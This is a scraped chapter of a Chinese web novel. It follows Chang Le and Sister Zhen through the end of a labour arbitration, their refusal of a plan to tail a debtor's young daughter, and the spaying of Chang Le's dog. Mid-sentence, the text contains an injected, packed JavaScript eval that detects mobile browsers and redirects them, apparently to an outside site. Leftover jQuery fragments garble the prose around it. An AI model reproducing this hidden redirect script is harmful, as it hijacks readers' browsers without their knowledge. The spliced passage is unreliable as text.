接下来的几天,林文娟给常乐放了假,让她去处理自己的私事。
常乐先是带小狗去打了第一针疫苗,还给胜宝预约了一周后做绝育。
几天后,她又去了趟江城。上次庭审结束时,仲裁员提出要半个月后再进行调解,虽然双方都不情不愿,但这个流程还是得配合着走一走。
常乐和珍姐在劳动仲裁中心门口碰了头。
“珍姐!”常乐笑着跟她打招呼,举起手中的笼子,“看,小狗我给你带来了。”
珍姐惊喜地“呀”了一声,捧着笼子仔细端详着小狗,“好可爱啊,我女儿肯定高兴死了。”
“我给你挑了只最好看的,就是……”常乐有些不好意思,“腿有点短。”
珍姐笑着说:“没事儿,小短腿底盘更稳。”
“刚打了第一针疫苗,三周后再打第二针,到时候我会提醒你的。”常乐提起一个大包裹,“这里有羊奶粉、狗粮、狗盆,还有一个小狗窝,你都拿去吧,就不用自己买了。”
珍姐又惊又喜,连连道谢。
“别客气。”常乐挽着她,正要往大厅走去,“进去吧。”
珍姐站着没动,拽了她一下,又朝大厅里努了努嘴。
常乐顺着她的视线望去,看见李玉婷就坐在大厅的等候椅上。她今天没化妆,戴着个黑框眼镜,头发也没有打理,穿着一件臃肿的棉袄,看上去有些几分颓废。
珍姐轻声说:“我刚刚跟她聊了会儿,她说,中午想请我们吃个饭。”
常乐眉头一皱,疑心有诈:“她该不会是想求我们同意调解吧?不行,我不答应。”
珍姐摇摇头,“她也不同意调解。她说,想跟我们道个歉,顺便交流一下情报。”
“……好吧。”常乐勉强同意。
她相信自己的意志足够坚定,什么糖衣炮弹都收买不了她。
调解意料之中地失败了。
仲裁员告知双方,过几天就会出判决结果,但是请他们做好心理准备,结果可能不如预期。
走出仲裁庭时,珍姐忍不住抱怨:“一开始我们就明确拒绝了调解,要求直接开庭,结果开完庭还要再调解一遍……这样拖拖拉拉的有什么意思?”
常乐安慰道:“大概是他们上头有规定吧,尽量调解,调解不了再开庭。还好,现在都走到最后一步了,就等着出结果了。”
李玉婷低着头,跟在她们身后,沉默不语。
珍姐回过头,“哎”了一声,问她:“老孙还没跟你联系吗?”
“没有呢。”李玉婷抬起头,一脸愁容地说,“他的几个号码我都打烂了,就是联系不上他。”
珍姐嘀咕道:“你这小三,当得也真是够惨的。”
常乐赶紧用胳膊肘捅捅她。
珍姐扭头瞪着她,“怎么啦?我说的是实话。”
常乐点点头,小声附和:“是是是,咱们下去再说吧,别在这儿聊了。”
她们在仲裁中心附近找了家小馆子,点了几道家常菜。
李玉婷对常乐的小狗很感兴趣,一直在弯着腰逗它,语气很羡慕:“我也想养狗,可惜现在连住的地方都没有,只能借住在我闺蜜家。”
常乐和珍姐都没接话,等着她进入正题。
李玉婷叹了口气,说:“我知道,你们肯定很恨我。说实话,我也恨我自己,当初真不该信了老孙的鬼话,做这个狗屁法人,一分钱好处没落到,还惹上这么多麻烦——”
珍姐犀利地打断她:“所以,你后悔的不是做小三,而是做了这个法人?”
李玉婷噎了一下,结结巴巴地说:“那倒也不是……我就是……我是被老孙骗了,他说要给我买房、开公司,还说要跟老婆离婚,统统是骗我的……”
珍姐端起茶杯,慢悠悠地喝了一口,一针见血道:“所以,你只是后悔跟了老孙,而不是跟了一个真正的有钱人。”
“我、我也不想做小三的……”李玉婷开始抽泣了。
“算了,这是你的私德问题,我们不关心。”常乐打断她,“当务之急是要找到老孙,不然,所有的钱就得你一个人出了。”
“老孙……”李玉婷吸了吸鼻子,又擦了擦眼角的泪,抬起头看着她们,“上次跟你们说的那套别墅,你们找到人了吗?”
珍姐摇摇头,半晌,才缓缓开口:“我找邻居打听过了,他岳父岳母一家去海南度假了,不知道什么时候才能回来。”
李玉婷沉默片刻,微微向前倾身,压低声音说:“其实,还有个方法。老孙有个女儿,在英才私立学校读五年级,学杂费什么的加起来一年要十几万呢。我打听过了,这学校是一年交一次学费,现在下学期刚开学,她不可能交了钱又不去读吧?”
常乐和珍姐对视一眼。
“你什么意思?”常乐的语气有些冲,“你想让我们从他的女儿下手?”
李玉婷细眉微蹙,辩解道:“什么叫下手?别说得这么难听,我只是提个建议。你们不是找不到人吗?可以在学校门口蹲守,等他女儿一出来,就跟上去,看看是谁来接。要是她直接回家,那就更好了,你们可以直接杀到老孙家里去。”
常乐双臂抱胸,往椅背一靠,盯着她的眼睛,问:“你都计划得这么周全了,为什么不自己去呢?你就不想找到老孙吗?”
“我一个人怎么去?而且名不正言不顺的,去了也是讨打。”李玉婷停顿了下,掏出手机,“咱们加个微信吧。我这里有他女儿的照片,发给你们。”
常乐坐着没动,拒绝的意味很明显。
一阵短暂的沉默后,珍姐掏出手机,扫了她的微信。
常乐匆匆吃完中饭,连一声“再见”都懒得说,左手提着狗笼,右手拖着珍姐离开了。
“珍姐,你没发现她在拿我们当枪使吗?”常乐忿忿不平地说,“一会儿让我们去盯别墅,一会儿让我们去蹲小孩。她不是说恨老孙吗?她自己怎么不去?”
珍姐攥着手机,没吭声。
“而且,对小孩下手,这种事我做不出来。”常乐见珍姐不说话,忍不住提醒她:“你可千万别冲动啊。”
珍姐转过头看着她,眼里闪过一丝犹豫。
“可是……”她面露难色,喃喃道,“那套别墅我已经蹲了那么久,一点进展都没有。老孙的女儿现在应该上学了吧?从她下手肯定更容易。”
“珍姐!”常乐急得放下狗笼,扶住她的肩膀用力摇晃,“你也有个女儿,你想想,如果你女儿上学被人跟踪,你会不会立刻报警?”
珍姐蹙了蹙眉,眼神恢复了几分清明。
常乐继续说:“我不是什么圣母,只是觉得,跟踪小孩的风险可比蹲守房子大多了!人家要是报了警,说你意图绑架小孩,你就是有一百张嘴也解释不清!”
珍姐拧着眉,思索片刻,终于承认:“你说得对,这件事太危险了。”
常乐松了口气,再次强调道:“所以说,咱别搭理那个李玉婷了。她心术不正,干不出什么好事。”
--
几天后,常乐收到了一沓仲裁裁决书。她直接翻到最后一页,看到裁决如下:
被申请人需要在裁决生效之日起十五日内,一次性向申请人支付两个月的工资8000元。
怎么还给她打了个折呢?
常乐百思不得其解,于是给珍姐打了个电话。
珍姐说:“我的也少了四千。我刚刚给仲裁委打了电话,他们说,这个金额是根据我前12个月的平均工资来计算的。”
“啊?”常乐大失所望。
姑且不说她在这家公司都没干满12个月,光是试用期她就干了三个月,只拿个基本工资,这一平均下来,她可就亏大了。
常乐觉得憋屈:“那可咋办?”
“你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781921|171701||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
更应该关心的是,这个钱李玉婷能不能出得起。”珍姐提醒她,“再等半个月吧。要是她不给,咱们立马申请强制执行。”
常乐叹了口气,“也只能这样了。”
她虽然不喜欢李玉婷,但内心深处,她也知道她是无辜的,是老孙找的替死鬼。
可是现在,除了死咬住李玉婷,她暂时想不到更好的办法。
--
这周五,易叔叔坐着轮椅出院了。
他现在四肢无力,完全不能依靠自己走路,神志也是时而清醒时而模糊。
常乐几次来病房探望他,他有时会认出她来,然后咧着嘴笑着,喉咙里发出“啊啊”声来打招呼。有时双目呆滞,看她的眼神仿佛在看一个陌生人,完全没有反应。
易诚请了个护工,负责照顾易叔叔的日常生活,并进行一些护理操作,比如翻身、擦拭、排便等等。
至于康复训练,出院时,医生隐晦地说,已经没有这个必要了。
易诚听到这话,沉默了很久。
他听懂了医生的弦外之音。
在家里安顿好父亲和护工后,下午,易诚还抽出一个小时,陪常乐去了趟宠物医院。
两人隔着玻璃窗,看着胜宝被绑着四肢,平躺在手术台上,医生正往她体内缓缓注入麻药。
常乐别过头,捂住眼睛不敢看。
易诚轻轻拍了拍她的肩膀,“给你看样东西。”
常乐从指缝间望着他,“什么?”
易诚指着她身后满墙的锦旗,说:“中间那幅是我送的。”
常乐转过头,在满墙的“喵手回春”“救我狗命”“万兽之王”中,找到了一幅由“图图爹”敬赠的锦旗——
“是那个‘手起蛋落,拆蛋专家’吗?”她好奇地问。
易诚点点头。
常乐扑哧一声笑了。
“医生还把图图的蛋送给我了。”易诚一脸无奈,“就像两粒花生米,我也不知道留着这玩意儿有什么用。”
常乐笑得更大声了。
过了十几分钟,胜宝被医生从手术间里推了出来。她吐着舌头,翻着眼白,肚子上有道伤口,被缝了几针。
常乐看得心疼不已,嘶了一口凉气。
穿着白大褂的“拆蛋专家”跟她交代道:“已经打了消炎针,再给你开五天的药,回去后记得给她戴个伊丽莎白圈,防止她舔舐伤口。五天后来这里拆线。”
常乐连连点头,拿手机一一记下。
“好了,你们可以回去了。”医生将药品装进袋子里,递给她。
易诚问:“还没交费吧?”
“已经交过了。”医生看了眼常乐,“她上次来预约手术的时候交的。”
易诚看向常乐,低声道:“说好了我来出的。”
“哎哟,这点小钱就别跟我争了。”常乐大大咧咧地说,“本来我是想讹你一把的,但是仔细想想,两条狗你情我愿,谈不上是谁的错,所以你就别放在心上了。”
易诚垂眸看着她,眼底情绪复杂。
“常乐,”他语气诚恳,“你不用这样替我着想,这一千多块钱我还是出得起的。”
常乐摆摆手,“我知道你出得起,可你现在不是正需要用钱嘛。这样吧,等你渡过难关,有钱了再还我吧。”
“行。”易诚郑重地承诺,“我会还你的。”
两人合力将昏迷中的胜宝搬进宠物箱,然后抬着箱子出门了。
今天天气不错,阳光温柔跳跃,微风吹来一丝暖意,街头的梧桐树梢也冒出了一抹新绿。
春天好像要来了。
常乐听着树上的鸟叫,忽然想起,就在两个月前,她还在担心仲裁会很麻烦,发愁胜宝的肚子,操心姥姥姥爷的事。
而现在,回头看看,这些都不是事儿。
原来,再难走的路,硬着头皮走下去,也能走完。